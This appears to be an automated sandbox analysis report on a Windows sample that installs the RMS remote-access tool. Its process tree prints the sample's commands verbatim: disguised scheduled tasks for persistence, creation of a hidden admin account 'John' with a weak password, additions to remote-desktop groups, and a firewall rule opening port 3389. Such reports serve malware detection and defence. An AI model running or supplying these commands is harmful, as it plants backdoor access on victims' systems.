Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2023 09:41

General

  • Target

    a8fffe1256732a78425b3c4b81c00c78.exe

  • Size

    6.1MB

  • MD5

    a8fffe1256732a78425b3c4b81c00c78

  • SHA1

    d10eb0b29b6f0f0092cda88bb03ac91e42ecf25e

  • SHA256

    97ff84a22b9ae106c9c6d6893575360411773f084d600ae3ae21bec7b26a4c66

  • SHA512

    ca458076bd9629a7faf7cfc60dd99a13f036cff48f998061d10d2ab3f8943c3c6437e1cf99841c4ae164bf40d94fa9496831daf4930863d0a3e2a96fad9b484f

  • SSDEEP

    196608:TIlF6JaxBEvXUJyXEJDNfZJoExr77dZWoNMUyr:EcYxBYXY+sJokFZWdUy

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a8fffe1256732a78425b3c4b81c00c78.exe
    "C:\Users\Admin\AppData\Local\Temp\a8fffe1256732a78425b3c4b81c00c78.exe"
    1⤵
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:1600
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:1456
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1272
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:616
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:540
      • C:\Windows\system32\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1412
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:1668
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\system32\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2004
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:1984
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1608
          • C:\Windows\system32\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:608
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:1756
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1916
            • C:\Windows\system32\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1388
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:564
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:340
              • C:\Windows\system32\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1124
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:764
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:560
                • C:\Windows\system32\net.exe
                  net localgroup "Administradores" John /add
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:364
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administradores" John /add
                    4⤵
                      PID:952
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                  2⤵
                    PID:920
                    • C:\Windows\system32\net.exe
                      net localgroup "Remote Desktop Users" john /add
                      3⤵
                        PID:1792
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                          4⤵
                            PID:2016
                      • C:\ProgramData\RDPWinst.exe
                        C:\ProgramData\RDPWinst.exe -i
                        2⤵
                        • Sets DLL path for service in the registry
                        • Executes dropped EXE
                        • Modifies WinLogon
                        • Drops file in Program Files directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1848
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                          3⤵
                          • Modifies Windows Firewall
                          PID:1736
                      • C:\Windows\system32\cmd.exe
                        cmd /c C:\Programdata\Install\del.bat
                        2⤵
                          PID:1004
                          • C:\Windows\system32\timeout.exe
                            timeout 5
                            3⤵
                            • Delays execution with timeout.exe
                            PID:912
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {0ABF7469-BE1D-4508-90A7-63D71AC3DE40} S-1-5-21-2647223082-2067913677-935928954-1000:BPOQNXYB\Admin:Interactive:[1]
                        1⤵
                          PID:1272
                          • C:\ProgramData\Windows Tasks Service\winserv.exe
                            "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                            2⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of SetWindowsHookEx
                            PID:1648
                          • C:\ProgramData\Windows Tasks Service\winserv.exe
                            "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                            2⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of SetWindowsHookEx
                            PID:1544

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • C:\ProgramData\Install\del.bat

                          Filesize

                          266B

                          MD5

                          791020907cde8b02f696743cabce77e1

                          SHA1

                          992ed3ca518d1aa4f45d616544338aab66a28e8b

                          SHA256

                          fbed13c7fe917d3d98b5a4cfe76a3d56fd4ed2a2bb70e09fd9b23b04dfc04cd6

                          SHA512

                          0fb06e2003873c23821fca8b10a68e51e141c816d7b9922f66164ee5d32cee8b24350befc79e725afcb044f79296fcb5d68c11ee0d209fb4b29dbb7c8a47eafb

                        • C:\ProgramData\RDPWinst.exe

                          Filesize

                          1.4MB

                          MD5

                          3288c284561055044c489567fd630ac2

                          SHA1

                          11ffeabbe42159e1365aa82463d8690c845ce7b7

                          SHA256

                          ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                          SHA512

                          c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                        • C:\ProgramData\RDPWinst.exe

                          Filesize

                          1.4MB

                          MD5

                          3288c284561055044c489567fd630ac2

                          SHA1

                          11ffeabbe42159e1365aa82463d8690c845ce7b7

                          SHA256

                          ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                          SHA512

                          c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                        • C:\ProgramData\Windows Tasks Service\settings.dat

                          Filesize

                          2KB

                          MD5

                          d7c429c3e48b1edb695c9b661154d32e

                          SHA1

                          e1397f226ebdd7f39fe800b4161066b4941e79b0

                          SHA256

                          9a5e1ea29b6c7d101d133f9e5951d42af3c14c2222ec8883601040ff37fc4bd3

                          SHA512

                          abb0c8207a19c81463d95f795e0795b63848f3eb8038f1ae3f1a0d3b9854694ffa11febe64f62d1de6d23ea60df18b92a974148e97411287b2d9c0fc5a79d225

                        • C:\ProgramData\Windows Tasks Service\winserv.exe

                          Filesize

                          10.2MB

                          MD5

                          3f4f5a6cb95047fea6102bd7d2226aa9

                          SHA1

                          fc09dd898b6e7ff546e4a7517a715928fbafc297

                          SHA256

                          99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                          SHA512

                          de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                        • C:\ProgramData\Windows Tasks Service\winserv.exe

                          Filesize

                          10.2MB

                          MD5

                          3f4f5a6cb95047fea6102bd7d2226aa9

                          SHA1

                          fc09dd898b6e7ff546e4a7517a715928fbafc297

                          SHA256

                          99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                          SHA512

                          de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                        • C:\ProgramData\Windows Tasks Service\winserv.exe

                          Filesize

                          10.2MB

                          MD5

                          3f4f5a6cb95047fea6102bd7d2226aa9

                          SHA1

                          fc09dd898b6e7ff546e4a7517a715928fbafc297

                          SHA256

                          99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                          SHA512

                          de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                        • C:\ProgramData\Windows Tasks Service\winserv.exe

                          Filesize

                          10.2MB

                          MD5

                          3f4f5a6cb95047fea6102bd7d2226aa9

                          SHA1

                          fc09dd898b6e7ff546e4a7517a715928fbafc297

                          SHA256

                          99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                          SHA512

                          de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                        • C:\ProgramData\Windows Tasks Service\winserv.exe

                          Filesize

                          10.2MB

                          MD5

                          3f4f5a6cb95047fea6102bd7d2226aa9

                          SHA1

                          fc09dd898b6e7ff546e4a7517a715928fbafc297

                          SHA256

                          99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                          SHA512

                          de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                        • C:\Programdata\Install\del.bat

                          Filesize

                          266B

                          MD5

                          791020907cde8b02f696743cabce77e1

                          SHA1

                          992ed3ca518d1aa4f45d616544338aab66a28e8b

                          SHA256

                          fbed13c7fe917d3d98b5a4cfe76a3d56fd4ed2a2bb70e09fd9b23b04dfc04cd6

                          SHA512

                          0fb06e2003873c23821fca8b10a68e51e141c816d7b9922f66164ee5d32cee8b24350befc79e725afcb044f79296fcb5d68c11ee0d209fb4b29dbb7c8a47eafb

                        • \Program Files\RDP Wrapper\rdpwrap.dll

                          Filesize

                          114KB

                          MD5

                          461ade40b800ae80a40985594e1ac236

                          SHA1

                          b3892eef846c044a2b0785d54a432b3e93a968c8

                          SHA256

                          798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                          SHA512

                          421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                        • memory/616-86-0x0000000005B70000-0x0000000005B71000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-107-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/616-83-0x0000000005610000-0x0000000005611000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-82-0x00000000055C0000-0x00000000055C1000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-84-0x0000000005640000-0x0000000005641000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-76-0x0000000002C30000-0x0000000002C31000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-85-0x0000000005A80000-0x0000000005A81000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-77-0x0000000004260000-0x0000000004261000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-89-0x0000000005E00000-0x0000000005E01000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-78-0x0000000004290000-0x0000000004291000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-79-0x00000000042E0000-0x00000000042E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-80-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-75-0x0000000002C40000-0x0000000002C41000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-81-0x0000000005570000-0x0000000005571000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-72-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/616-149-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/616-110-0x00000000002B0000-0x00000000002B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/616-71-0x00000000002B0000-0x00000000002B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/1272-70-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/1272-68-0x0000000000F90000-0x0000000000F91000-memory.dmp

                          Filesize

                          4KB

                        • memory/1272-67-0x0000000000020000-0x0000000000021000-memory.dmp

                          Filesize

                          4KB

                        • memory/1272-66-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/1544-156-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/1648-147-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/1648-148-0x0000000000400000-0x0000000000E31000-memory.dmp

                          Filesize

                          10.2MB

                        • memory/1848-109-0x0000000000400000-0x000000000056F000-memory.dmp

                          Filesize

                          1.4MB